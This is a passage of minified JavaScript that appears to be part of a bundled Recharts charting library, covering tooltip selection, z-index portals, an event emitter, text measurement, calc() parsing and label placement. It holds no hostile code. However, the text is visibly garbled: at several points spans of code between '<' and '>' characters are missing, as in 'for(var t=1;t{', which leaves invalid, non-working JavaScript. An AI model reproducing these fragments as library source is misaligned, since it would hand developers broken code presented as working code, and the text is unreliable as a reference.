FD(e,t,n){if(n==null||t==null)return!0;var r=Ve(e,t);return r==null||!Br(n)?!0:BD(r,n)}var rv=(e,t,n,r)=>{var i=e==null?void 0:e.index;if(i==null)return null;var s=Number(i);if(!Ee(s))return i;var o=0,l=1/0;t.length>0&&(l=t.length-1);var c=Math.max(o,Math.min(s,l)),u=t[c];return u==null||FD(u,n,r)?String(c):null},Pz=(e,t,n,r,i,s,o)=>{if(s!=null){var l=o[0],c=l==null?void 0:l.getPosition(s);if(c!=null)return c;var u=i==null?void 0:i[Number(s)];if(u)switch(n){case"horizontal":return{x:u.coordinate,y:(r.top+t)/2};default:return{x:(r.left+e)/2,y:u.coordinate}}}},Ez=(e,t,n,r)=>{if(t==="axis")return e.tooltipItemPayloads;if(e.tooltipItemPayloads.length===0)return[];var i;if(n==="hover"?i=e.itemInteraction.hover.graphicalItemId:i=e.itemInteraction.click.graphicalItemId,i==null&&r!=null){var s=e.tooltipItemPayloads[0];return s!=null?[s]:[]}return e.tooltipItemPayloads.filter(o=>{var l;return((l=o.settings)===null||l===void 0?void 0:l.graphicalItemId)===i})},_z=e=>e.options.tooltipPayloadSearcher,Cs=e=>e.tooltip;function Cb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Pb(e){for(var t=1;t{if(!(t==null||s==null)){var{chartData:l,computedData:c,dataStartIndex:u,dataEndIndex:d}=n,f=[];return e.reduce((p,h)=>{var x,{dataDefinedOnItem:g,settings:y}=h,v=HD(g,l),b=Array.isArray(v)?fk(v,u,d):v,w=(x=y==null?void 0:y.dataKey)!==null&&x!==void 0?x:r,j=y==null?void 0:y.nameKey,N;if(r&&Array.isArray(b)&&!Array.isArray(b[0])&&o==="axis"?N=iN(b,r,i):N=s(b,t,c,j),Array.isArray(N))N.forEach(z=>{var S=Pb(Pb({},y),{},{name:z.name,unit:z.unit,color:void 0,fill:void 0});p.push(Iy({tooltipEntrySettings:S,dataKey:z.dataKey,payload:z.payload,value:Ve(z.payload,z.dataKey),name:z.name}))});else{var k;p.push(Iy({tooltipEntrySettings:y,dataKey:w,payload:N,value:Ve(N,w),name:(k=Ve(N,j))!==null&&k!==void 0?k:y==null?void 0:y.name}))}return p},f)}},iv=L([yt,X4,P0],uz),KD=L([e=>e.graphicalItems.cartesianItems,e=>e.graphicalItems.polarItems],(e,t)=>[...e,...t]),YD=L([St,ks],D0),Ps=L([KD,yt,YD],R0,{memoizeOptions:{resultEqualityCheck:sf}}),qD=L([Ps],e=>e.filter(L0)),GD=L([Ps],$0,{memoizeOptions:{resultEqualityCheck:sf}}),Es=L([GD,qr],B0),XD=L([qD,qr,yt],K4),av=L([Es,yt,Ps],W0),Oz=L([yt],U0),ZD=L([yt],e=>e.allowDataOverflow),Tz=L([Oz,ZD],C4),QD=L([Ps],e=>e.filter(L0)),JD=L([XD,QD,hl,R4],tz),eR=L([JD,qr,St,Tz],rz),tR=L([Ps],J4),nR=L([Es,yt,tR,lf,St],K0,{memoizeOptions:{resultEqualityCheck:af}}),rR=L([iz,St,ks],Ss),iR=L([rR,St],oz),aR=L([az,St,ks],Ss),sR=L([aR,St],lz),oR=L([sz,St,ks],Ss),lR=L([oR,St],cz),cR=L([iR,lR,sR],Du),uR=L([yt,Oz,Tz,eR,nR,cR,De,St],Y0),bl=L([yt,De,Es,av,hl,St,uR],q0),dR=L([bl,yt,iv],Z0),fR=L([yt,bl,dR,St],J0),Mz=e=>{var t=St(e),n=ks(e),r=!1;return yl(e,t,n,r)},Lz=L([yt,Mz],nf),Iz=L([yt,iv,fR,Lz],X0),mR=L([De,av,yt,St],hz),pR=L([De,av,yt,St],xz),hR=(e,t,n,r,i,s,o,l)=>{if(t){var{type:c}=t,u=xr(e,l);if(r){var d=n==="scaleBand"&&r.bandwidth?r.bandwidth()/2:2,f=c==="category"&&r.bandwidth?r.bandwidth()/d:0;return f=l==="angleAxis"&&i!=null&&(i==null?void 0:i.length)>=2?Gt(i[0]-i[1])*2*f:f,u&&o?o.map((p,h)=>{var x=r.map(p);return Ee(x)?{coordinate:x+f,value:p,index:h,offset:f}:null}).filter(sr):r.domain().map((p,h)=>{var x=r.map(p);return Ee(x)?{coordinate:x+f,value:s?s[p]:p,index:h,offset:f}:null}).filter(sr)}}},Zr=L([De,yt,iv,Iz,Mz,mR,pR,St],hR),sv=L([yz,bz,kD],(e,t,n)=>wz(n.shared,e,t)),Dz=e=>e.tooltip.settings.trigger,ov=e=>e.tooltip.settings.defaultIndex,wl=L([Cs,sv,Dz,ov],Cz),fs=L([wl,Es,gl,bl],rv),Rz=L([Zr,fs],jz),$z=L([wl],e=>{if(e)return e.dataKey}),xR=L([wl],e=>{if(e)return e.graphicalItemId}),Bz=L([Cs,sv,Dz,ov],Ez),vR=L([Hr,Kr,De,kt,Zr,ov,Bz],Pz),gR=L([wl,vR],(e,t)=>e!=null&&e.coordinate?e.coordinate:t),yR=L([wl],e=>{var t;return(t=e==null?void 0:e.active)!==null&&t!==void 0?t:!1}),bR=L([Bz,fs,qr,gl,Rz,_z,sv],Az),wR=L([bR],e=>{if(e!=null){var t=e.map(n=>n.payload).filter(n=>n!=null);return Array.from(new Set(t))}});function Eb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function _b(e){for(var t=1;tje(yt),SR=()=>{var e=zR(),t=je(Zr),n=je(Iz);return hu(!e||!n?void 0:_b(_b({},e),{},{scale:n}),t)};function Ab(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function ka(e){for(var t=1;t{var i=t.find(s=>s&&s.index===n);if(i){if(e==="horizontal")return{x:i.coordinate,y:r.chartY};if(e==="vertical")return{x:r.chartX,y:i.coordinate}}return{x:0,y:0}},AR=(e,t,n,r)=>{var i=t.find(u=>u&&u.index===n);if(i){if(e==="centric"){var s=i.coordinate,{radius:o}=r;return ka(ka(ka({},r),dt(r.cx,r.cy,o,s)),{},{angle:s,radius:o})}var l=i.coordinate,{angle:c}=r;return ka(ka(ka({},r),dt(r.cx,r.cy,l,c)),{},{angle:c,radius:l})}return{angle:0,clockWise:!1,cx:0,cy:0,endAngle:0,innerRadius:0,outerRadius:0,radius:0,startAngle:0,x:0,y:0}};function OR(e,t){var{chartX:n,chartY:r}=e;return n>=t.left&&n<=t.left+t.width&&r>=t.top&&r<=t.top+t.height}var Fz=(e,t,n,r,i)=>{var s,o=(s=t==null?void 0:t.length)!==null&&s!==void 0?s:0;if(o<=1||e==null)return 0;if(r==="angleAxis"&&i!=null&&Math.abs(Math.abs(i[1]-i[0])-360)<=1e-6)for(var l=0;l0?(c=n[l-1])===null||c===void 0?void 0:c.coordinate:(u=n[o-1])===null||u===void 0?void 0:u.coordinate,x=(d=n[l])===null||d===void 0?void 0:d.coordinate,g=l>=o-1?(f=n[0])===null||f===void 0?void 0:f.coordinate:(p=n[l+1])===null||p===void 0?void 0:p.coordinate,y=void 0;if(!(h==null||x==null||g==null))if(Gt(x-h)!==Gt(g-x)){var v=[];if(Gt(g-x)===Gt(i[1]-i[0])){y=g;var b=x+i[1]-i[0];v[0]=Math.min(b,(b+h)/2),v[1]=Math.max(b,(b+h)/2)}else{y=h;var w=g+i[1]-i[0];v[0]=Math.min(x,(w+x)/2),v[1]=Math.max(x,(w+x)/2)}var j=[Math.min(x,(y+x)/2),Math.max(x,(y+x)/2)];if(e>j[0]&&e<=j[1]||e>=v[0]&&e<=v[1]){var N;return(N=n[l])===null||N===void 0?void 0:N.index}}else{var k=Math.min(h,g),z=Math.max(h,g);if(e>(k+x)/2&&e<=(z+x)/2){var S;return(S=n[l])===null||S===void 0?void 0:S.index}}}else if(t)for(var A=0;A(_.coordinate+P.coordinate)/2||A>0&&A(_.coordinate+P.coordinate)/2&&e<=(_.coordinate+O.coordinate)/2)return _.index}}return-1},Wz=()=>je(P0),lv=(e,t)=>t,Uz=(e,t,n)=>n,cv=(e,t,n,r)=>r,TR=L(Zr,e=>Cd(e,t=>t.coordinate)),uv=L([Cs,lv,Uz,cv],Cz),dv=L([uv,Es,gl,bl],rv),MR=(e,t,n)=>{if(t!=null){var r=Cs(e);return t==="axis"?n==="hover"?r.axisInteraction.hover.dataKey:r.axisInteraction.click.dataKey:n==="hover"?r.itemInteraction.hover.dataKey:r.itemInteraction.click.dataKey}},Vz=L([Cs,lv,Uz,cv],Ez),Ru=L([Hr,Kr,De,kt,Zr,cv,Vz],Pz),LR=L([uv,Ru],(e,t)=>{var n;return(n=e.coordinate)!==null&&n!==void 0?n:t}),Hz=L([Zr,dv],jz),IR=L([Vz,dv,qr,gl,Hz,_z,lv],Az),DR=L([uv,dv],(e,t)=>({isActive:e.active&&t!=null,activeIndex:t})),RR=(e,t,n,r,i,s,o)=>{if(!(!e||!n||!r||!i)&&OR(e,o)){var l=zT(e,t),c=Fz(l,s,i,n,r),u=_R(t,i,c,e);return{activeIndex:String(c),activeCoordinate:u}}},$R=(e,t,n,r,i,s,o)=>{if(!(!e||!r||!i||!s||!n)){var l=C8(e,n);if(l){var c=ST(l,t),u=Fz(c,o,s,r,i),d=AR(t,s,u,l);return{activeIndex:String(u),activeCoordinate:d}}}},BR=(e,t,n,r,i,s,o,l)=>{if(!(!e||!t||!r||!i||!s))return t==="horizontal"||t==="vertical"?RR(e,t,r,i,s,o,l):$R(e,t,n,r,i,s,o)},FR=L(e=>e.zIndex.zIndexMap,(e,t)=>t,(e,t,n)=>n,(e,t,n)=>{if(t!=null){var r=e[t];if(r!=null)return n?r.panoramaElement:r.element}}),WR=L(e=>e.zIndex.zIndexMap,e=>{var t=Object.keys(e).map(r=>parseInt(r,10)).concat(Object.values(Zt)),n=Array.from(new Set(t));return n.sort((r,i)=>r-i)},{memoizeOptions:{resultEqualityCheck:NI}});function Ob(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Tb(e){for(var t=1;tTb(Tb({},e),{},{[t]:{element:void 0,panoramaElement:void 0,consumers:0}}),KR)},qR=new Set(Object.values(Zt));function GR(e){return qR.has(e)}var Kz=nn({name:"zIndex",initialState:YR,reducers:{registerZIndexPortal:{reducer:(e,t)=>{var{zIndex:n}=t.payload;e.zIndexMap[n]?e.zIndexMap[n].consumers+=1:e.zIndexMap[n]={consumers:1,element:void 0,panoramaElement:void 0}},prepare:He()},unregisterZIndexPortal:{reducer:(e,t)=>{var{zIndex:n}=t.payload;e.zIndexMap[n]&&(e.zIndexMap[n].consumers-=1,e.zIndexMap[n].consumers<=0&&!GR(n)&&delete e.zIndexMap[n])},prepare:He()},registerZIndexPortalElement:{reducer:(e,t)=>{var{zIndex:n,element:r,isPanorama:i}=t.payload;e.zIndexMap[n]?i?e.zIndexMap[n].panoramaElement=r:e.zIndexMap[n].element=r:e.zIndexMap[n]={consumers:0,element:i?void 0:r,panoramaElement:i?r:void 0}},prepare:He()},unregisterZIndexPortalElement:{reducer:(e,t)=>{var{zIndex:n}=t.payload;e.zIndexMap[n]&&(t.payload.isPanorama?e.zIndexMap[n].panoramaElement=void 0:e.zIndexMap[n].element=void 0)},prepare:He()}}}),{registerZIndexPortal:XR,unregisterZIndexPortal:ZR,registerZIndexPortalElement:QR,unregisterZIndexPortalElement:JR}=Kz.actions,e9=Kz.reducer;function Mi(e){var{zIndex:t,children:n}=e,r=nM(),i=r&&t!==void 0&&t!==0,s=Jn(),o=ot();m.useLayoutEffect(()=>i?(o(XR({zIndex:t})),()=>{o(ZR({zIndex:t}))}):ys,[o,t,i]);var l=je(c=>FR(c,t,s));return i?l?jx.createPortal(n,l):null:n}function bh(){return bh=Object.assign?Object.assign.bind():function(e){for(var t=1;tm.useContext(Yz),qz={exports:{}};(function(e){var t=Object.prototype.hasOwnProperty,n="~";function r(){}Object.create&&(r.prototype=Object.create(null),new r().__proto__||(n=!1));function i(c,u,d){this.fn=c,this.context=u,this.once=d||!1}function s(c,u,d,f,p){if(typeof d!="function")throw new TypeError("The listener must be a function");var h=new i(d,f||c,p),x=n?n+u:u;return c._events[x]?c._events[x].fn?c._events[x]=[c._events[x],h]:c._events[x].push(h):(c._events[x]=h,c._eventsCount++),c}function o(c,u){--c._eventsCount===0?c._events=new r:delete c._events[u]}function l(){this._events=new r,this._eventsCount=0}l.prototype.eventNames=function(){var u=[],d,f;if(this._eventsCount===0)return u;for(f in d=this._events)t.call(d,f)&&u.push(n?f.slice(1):f);return Object.getOwnPropertySymbols?u.concat(Object.getOwnPropertySymbols(d)):u},l.prototype.listeners=function(u){var d=n?n+u:u,f=this._events[d];if(!f)return[];if(f.fn)return[f.fn];for(var p=0,h=f.length,x=new Array(h);p{if(t&&Array.isArray(e)){var n=Number.parseInt(t,10);if(!fr(n))return e[n]}},u9={chartName:"",tooltipPayloadSearcher:()=>{},eventEmitter:void 0,defaultTooltipEventType:"axis"},Xz=nn({name:"options",initialState:u9,reducers:{createEventEmitter:e=>{e.eventEmitter==null&&(e.eventEmitter=Symbol("rechartsEventEmitter"))}}}),d9=Xz.reducer,{createEventEmitter:f9}=Xz.actions;function m9(e){return e.tooltip.syncInteraction}var p9={chartData:void 0,computedData:void 0,dataStartIndex:0,dataEndIndex:0},Zz=nn({name:"chartData",initialState:p9,reducers:{setChartData(e,t){if(e.chartData=t.payload,t.payload==null){e.dataStartIndex=0,e.dataEndIndex=0;return}t.payload.length>0&&e.dataEndIndex!==t.payload.length-1&&(e.dataEndIndex=t.payload.length-1)},setComputedData(e,t){e.computedData=t.payload},setDataStartEndIndexes(e,t){var{startIndex:n,endIndex:r}=t.payload;n!=null&&(e.dataStartIndex=n),r!=null&&(e.dataEndIndex=r)}}}),{setChartData:Ib,setDataStartEndIndexes:h9,setComputedData:JV}=Zz.actions,x9=Zz.reducer,v9=["x","y"];function Db(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function za(e){for(var t=1;tc.rootProps.className);m.useEffect(()=>{if(e==null)return ys;var c=(u,d,f)=>{if(t!==f&&e===u){if(r==="index"){var p;if(o&&d!==null&&d!==void 0&&(p=d.payload)!==null&&p!==void 0&&p.coordinate&&d.payload.sourceViewBox){var h=d.payload.coordinate,{x,y:g}=h,y=w9(h,v9),{x:v,y:b,width:w,height:j}=d.payload.sourceViewBox,N=za(za({},y),{},{x:o.x+(w?(x-v)/w:0)*o.width,y:o.y+(j?(g-b)/j:0)*o.height});n(za(za({},d),{},{payload:za(za({},d.payload),{},{coordinate:N})}))}else n(d);return}if(i!=null){var k;if(typeof r=="function"){var z={activeTooltipIndex:d.payload.index==null?void 0:Number(d.payload.index),isTooltipActive:d.payload.active,activeIndex:d.payload.index==null?void 0:Number(d.payload.index),activeLabel:d.payload.label,activeDataKey:d.payload.dataKey,activeCoordinate:d.payload.coordinate},S=r(i,z);k=i[S]}else r==="value"&&(k=i.find(M=>String(M.value)===d.payload.label));var{coordinate:A}=d.payload;if(k==null||d.payload.active===!1||A==null||o==null){n(gh({active:!1,coordinate:void 0,dataKey:void 0,index:null,label:void 0,sourceViewBox:void 0,graphicalItemId:void 0}));return}var{x:_,y:O}=A,P=Math.min(_,o.x+o.width),D=Math.min(O,o.y+o.height),V={x:s==="horizontal"?k.coordinate:P,y:s==="horizontal"?D:k.coordinate},R=gh({active:d.payload.active,coordinate:V,dataKey:d.payload.dataKey,index:String(k.index),label:d.payload.label,sourceViewBox:d.payload.sourceViewBox,graphicalItemId:d.payload.graphicalItemId});n(R)}}};return Zo.on(wh,c),()=>{Zo.off(wh,c)}},[l,n,t,e,r,i,s,o])}function k9(){var e=je(E0),t=je(_0),n=ot();m.useEffect(()=>{if(e==null)return ys;var r=(i,s,o)=>{t!==o&&e===i&&n(h9(s))};return Zo.on(Lb,r),()=>{Zo.off(Lb,r)}},[n,t,e])}function z9(){var e=ot();m.useEffect(()=>{e(f9())},[e]),N9(),k9()}function S9(e,t,n,r,i,s){var o=je(h=>MR(h,e,t)),l=je(_0),c=je(E0),u=je($4),d=je(m9),f=d==null?void 0:d.active,p=Wd();m.useEffect(()=>{if(!f&&c!=null&&l!=null){var h=gh({active:s,coordinate:n,dataKey:o,index:i,label:typeof r=="number"?String(r):r,sourceViewBox:p,graphicalItemId:void 0});Zo.emit(wh,c,h,l)}},[f,n,o,i,r,l,c,u,s,p])}function Rb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function $b(e){for(var t=1;t{z(ED({shared:b,trigger:w,axisId:k,active:i,defaultIndex:S}))},[z,b,w,k,i,S]);var A=Wd(),_=Tk(),O=ND(b),{activeIndex:P,isActive:D}=(t=je(G=>DR(G,O,w,S)))!==null&&t!==void 0?t:{},V=je(G=>IR(G,O,w,S)),R=je(G=>Hz(G,O,w,S)),M=je(G=>LR(G,O,w,S)),W=V,$=o9(),U=(n=i??D)!==null&&n!==void 0?n:!1,[B,K]=fO([W,U]),Z=O==="axis"?R:void 0;S9(O,w,M,Z,P,U);var le=N??$;if(le==null||A==null||O==null)return null;var de=W??Bb;U||(de=Bb),u&&de.length&&(de=_6(de.filter(G=>G.value!=null&&(G.hide!==!0||r.includeHidden)),p,_9));var we=de.length>0,ye=m.createElement(CM,{allowEscapeViewBox:s,animationDuration:o,animationEasing:l,isAnimationActive:d,active:U,coordinate:M,hasPayload:we,offset:f,position:h,reverseDirection:x,useTranslate3d:g,viewBox:A,wrapperStyle:y,lastBoundingBox:B,innerRef:K,hasPortalFromProps:!!N},A9(c,$b($b({},r),{},{payload:de,label:Z,active:U,activeIndex:P,coordinate:M,accessibilityLayer:_})));return m.createElement(m.Fragment,null,jx.createPortal(ye,le),U&&m.createElement(s9,{cursor:v,tooltipEventType:O,coordinate:M,payload:de,index:P}))}var ff=e=>null;ff.displayName="Cell";function T9(e,t,n){return(t=M9(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function M9(e){var t=L9(e,"string");return typeof t=="symbol"?t:t+""}function L9(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}class I9{constructor(t){T9(this,"cache",new Map),this.maxSize=t}get(t){var n=this.cache.get(t);return n!==void 0&&(this.cache.delete(t),this.cache.set(t,n)),n}set(t,n){if(this.cache.has(t))this.cache.delete(t);else if(this.cache.size>=this.maxSize){var r=this.cache.keys().next().value;r!=null&&this.cache.delete(r)}this.cache.set(t,n)}clear(){this.cache.clear()}size(){return this.cache.size}}function Wb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function D9(e){for(var t=1;t{try{var n=document.getElementById(Vb);n||(n=document.createElement("span"),n.setAttribute("id",Vb),n.setAttribute("aria-hidden","true"),document.body.appendChild(n)),Object.assign(n.style,W9,t),n.textContent="".concat(e);var r=n.getBoundingClientRect();return{width:r.width,height:r.height}}catch{return{width:0,height:0}}},Kb=function(t){var n=arguments.length>1&&arguments[1]!==void 0?arguments[1]:{};if(t==null||Kd.isSsr)return{width:0,height:0};if(!Qz.enableCache)return Hb(t,n);var r=U9(t,n),i=Ub.get(r);if(i)return i;var s=Hb(t,n);return Ub.set(r,s),s},Jz;function V9(e,t,n){return(t=H9(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function H9(e){var t=K9(e,"string");return typeof t=="symbol"?t:t+""}function K9(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}var Yb=/(-?\d+(?:\.\d+)?[a-zA-Z%]*)([*/])(-?\d+(?:\.\d+)?[a-zA-Z%]*)/,qb=/(-?\d+(?:\.\d+)?[a-zA-Z%]*)([+-])(-?\d+(?:\.\d+)?[a-zA-Z%]*)/,Y9=/^px|cm|vh|vw|em|rem|%|mm|in|pt|pc|ex|ch|vmin|vmax|Q$/,q9=/(-?\d+(?:\.\d+)?)([a-zA-Z%]+)?/,G9={cm:96/2.54,mm:96/25.4,pt:96/72,pc:96/6,in:96,Q:96/(2.54*40),px:1},X9=["cm","mm","pt","pc","in","Q","px"];function Z9(e){return X9.includes(e)}var Fa="NaN";function Q9(e,t){return e*G9[t]}class _t{static parse(t){var n,[,r,i]=(n=q9.exec(t))!==null&&n!==void 0?n:[];return r==null?_t.NaN:new _t(parseFloat(r),i??"")}constructor(t,n){this.num=t,this.unit=n,this.num=t,this.unit=n,fr(t)&&(this.unit=""),n!==""&&!Y9.test(n)&&(this.num=NaN,this.unit=""),Z9(n)&&(this.num=Q9(t,n),this.unit="px")}add(t){return this.unit!==t.unit?new _t(NaN,""):new _t(this.num+t.num,this.unit)}subtract(t){return this.unit!==t.unit?new _t(NaN,""):new _t(this.num-t.num,this.unit)}multiply(t){return this.unit!==""&&t.unit!==""&&this.unit!==t.unit?new _t(NaN,""):new _t(this.num*t.num,this.unit||t.unit)}divide(t){return this.unit!==""&&t.unit!==""&&this.unit!==t.unit?new _t(NaN,""):new _t(this.num/t.num,this.unit||t.unit)}toString(){return"".concat(this.num).concat(this.unit)}isNaN(){return fr(this.num)}}Jz=_t;V9(_t,"NaN",new Jz(NaN,""));function e3(e){if(e==null||e.includes(Fa))return Fa;for(var t=e;t.includes("*")||t.includes("/");){var n,[,r,i,s]=(n=Yb.exec(t))!==null&&n!==void 0?n:[],o=_t.parse(r??""),l=_t.parse(s??""),c=i==="*"?o.multiply(l):o.divide(l);if(c.isNaN())return Fa;t=t.replace(Yb,c.toString())}for(;t.includes("+")||/.-\d+(?:\.\d+)?/.test(t);){var u,[,d,f,p]=(u=qb.exec(t))!==null&&u!==void 0?u:[],h=_t.parse(d??""),x=_t.parse(p??""),g=f==="+"?h.add(x):h.subtract(x);if(g.isNaN())return Fa;t=t.replace(qb,g.toString())}return t}var Gb=/\(([^()]*)\)/;function J9(e){for(var t=e,n;(n=Gb.exec(t))!=null;){var[,r]=n;t=t.replace(Gb,e3(r))}return t}function e$(e){var t=e.replace(/\s+/g,"");return t=J9(t),t=e3(t),t}function t$(e){try{return e$(e)}catch{return Fa}}function jm(e){var t=t$(e.slice(5,-1));return t===Fa?"":t}var n$=["x","y","lineHeight","capHeight","fill","scaleToFit","textAnchor","verticalAnchor"],r$=["dx","dy","angle","className","breakAll"];function jh(){return jh=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{children:t,breakAll:n,style:r}=e;try{var i=[];Mt(t)||(n?i=t.toString().split(""):i=t.toString().split(t3));var s=i.map(l=>({word:l,width:Kb(l,r).width})),o=n?0:Kb(" ",r).width;return{wordsWithComputedWidth:s,spaceWidth:o}}catch{return null}};function a$(e){return e==="start"||e==="middle"||e==="end"||e==="inherit"}var r3=(e,t,n,r)=>e.reduce((i,s)=>{var{word:o,width:l}=s,c=i[i.length-1];if(c&&l!=null&&(t==null||r||c.width+l+ne.reduce((t,n)=>t.width>n.width?t:n),s$="…",Zb=(e,t,n,r,i,s,o,l)=>{var c=e.slice(0,t),u=n3({breakAll:n,style:r,children:c+s$});if(!u)return[!1,[]];var d=r3(u.wordsWithComputedWidth,s,o,l),f=d.length>i||i3(d).width>Number(s);return[f,d]},o$=(e,t,n,r,i)=>{var{maxLines:s,children:o,style:l,breakAll:c}=e,u=ge(s),d=String(o),f=r3(t,r,n,i);if(!u||i)return f;var p=f.length>s||i3(f).width>Number(r);if(!p)return f;for(var h=0,x=d.length-1,g=0,y;h<=x&&g<=d.length-1;){var v=Math.floor((h+x)/2),b=v-1,[w,j]=Zb(d,b,c,l,s,r,n,i),[N]=Zb(d,v,c,l,s,r,n,i);if(!w&&!N&&(h=v+1),w&&N&&(x=v-1),!w&&N){y=j;break}g++}return y||f},Qb=e=>{var t=Mt(e)?[]:e.toString().split(t3);return[{words:t,width:void 0}]},l$=e=>{var{width:t,scaleToFit:n,children:r,style:i,breakAll:s,maxLines:o}=e;if((t||n)&&!Kd.isSsr){var l,c,u=n3({breakAll:s,children:r,style:i});if(u){var{wordsWithComputedWidth:d,spaceWidth:f}=u;l=d,c=f}else return Qb(r);return o$({breakAll:s,children:r,maxLines:o,style:i},l,c,t,!!n)}return Qb(r)},a3="#808080",c$={angle:0,breakAll:!1,capHeight:"0.71em",fill:a3,lineHeight:"1em",scaleToFit:!1,textAnchor:"start",verticalAnchor:"end",x:0,y:0},fv=m.forwardRef((e,t)=>{var n=gn(e,c$),{x:r,y:i,lineHeight:s,capHeight:o,fill:l,scaleToFit:c,textAnchor:u,verticalAnchor:d}=n,f=Xb(n,n$),p=m.useMemo(()=>l$({breakAll:f.breakAll,children:f.children,maxLines:f.maxLines,scaleToFit:c,style:f.style,width:f.width}),[f.breakAll,f.children,f.maxLines,c,f.style,f.width]),{dx:h,dy:x,angle:g,className:y,breakAll:v}=f,b=Xb(f,r$);if(!Lr(r)||!Lr(i)||p.length===0)return null;var w=Number(r)+(ge(h)?h:0),j=Number(i)+(ge(x)?x:0);if(!Ee(w)||!Ee(j))return null;var N;switch(d){case"start":N=jm("calc(".concat(o,")"));break;case"middle":N=jm("calc(".concat((p.length-1)/2," * -").concat(s," + (").concat(o," / 2))"));break;default:N=jm("calc(".concat(p.length-1," * -").concat(s,")"));break}var k=[],z=p[0];if(c&&z!=null){var S=z.width,{width:A}=f;k.push("scale(".concat(ge(A)&&ge(S)?A/S:1,")"))}return g&&k.push("rotate(".concat(g,", ").concat(w,", ").concat(j,")")),k.length&&(b.transform=k.join(" ")),m.createElement("text",jh({},Ut(b),{ref:t,x:w,y:j,className:Qe("recharts-text",y),textAnchor:u,fill:l.includes("url")?a3:l}),p.map((_,O)=>{var P=_.words.join(v?"":" ");return m.createElement("tspan",{x:w,dy:O===0?N:s,key:"".concat(P,"-").concat(O)},P)}))});fv.displayName="Text";function Jb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function rr(e){for(var t=1;t{var{viewBox:t,position:n,offset:r=0,parentViewBox:i}=e,{x:s,y:o,height:l,upperWidth:c,lowerWidth:u}=e0(t),d=s,f=s+(c-u)/2,p=(d+f)/2,h=(c+u)/2,x=d+c/2,g=l>=0?1:-1,y=g*r,v=g>0?"end":"start",b=g>0?"start":"end",w=c>=0?1:-1,j=w*r,N=w>0?"end":"start",k=w>0?"start":"end",z=i;if(n==="top"){var S={x:d+c/2,y:o-y,horizontalAnchor:"middle",verticalAnchor:v};return z&&(S.height=Math.max(o-z.y,0),S.width=c),S}if(n==="bottom"){var A={x:f+u/2,y:o+l+y,horizontalAnchor:"middle",verticalAnchor:b};return z&&(A.height=Math.max(z.y+z.height-(o+l),0),A.width=u),A}if(n==="left"){var _={x:p-j,y:o+l/2,horizontalAnchor:N,verticalAnchor:"middle"};return z&&(_.width=Math.max(_.x-z.x,0),_.height=l),_}if(n==="right"){var O={x:p+h+j,y:o+l/2,horizontalAnchor:k,verticalAnchor:"middle"};return z&&(O.width=Math.max(z.x+z.width-O.x,0),O.height=l),O}var P=z?{width:h,height:l}:{};return n==="insideLeft"?rr({x:p+j,y:o+l/2,horizontalAnchor:k,verticalAnchor:"middle"},P):n==="insideRight"?rr({x:p+h-j,y:o+l/2,horizontalAnchor:N,verticalAnchor:"middle"},P):n==="insideTop"?rr({x:d+c/2,y:o+y,horizontalAnchor:"middle",verticalAnchor:b},P):n==="insideBottom"?rr({x:f+u/2,y:o+l-y,horizontalAnchor:"middle",verticalAnchor:v},P):n==="insideTopLeft"?rr({x:d+j,y:o+y,horizontalAnchor:k,verticalAnchor:b},P):n==="insideTopRight"?rr({x:d+c-j,y:o+y,horizontalAnchor:N,verticalAnchor:b},P):n==="insideBottomLeft"?rr({x:f+j,y:o+l-y,horizontalAnchor:k,verticalAnchor:v},P):n==="insideBottomRight"?rr({x:f+u-j,y:o+l-y,horizontalAnchor:N,verticalAnchor:v},P):n&&typeof n=="object"&&(ge(n.x)||da(n.x))&&(ge(n.y)||da(n.y))?rr({x:s+fn(n.x,h),y:o+fn(n.y,l),horizontalAnchor:"end",verticalAnchor:"end"},P):rr({x,y:o+l/2,horizontalAnchor:"middle",verticalAnchor:"middle"},P)},p$=["labelRef"],h$=["content"];function e2(e,t){if(e==null)return{};var n,r,i=x$(e,t);if(Object.getOwnPropertySymbols){var s=Object.getOwnPropertySymbols(e);for(r=0;r{var e=m.useContext(b$),t=Wd();return e||(t?e0(t):void 0)},j$=m.createContext(null),N$=()=>{var e=m.useContext(j$),t=je(H4);return e||t},k$=e=>{var{value:t,formatter:n}=e,r=Mt(e.children)?t:e.children;return typeof 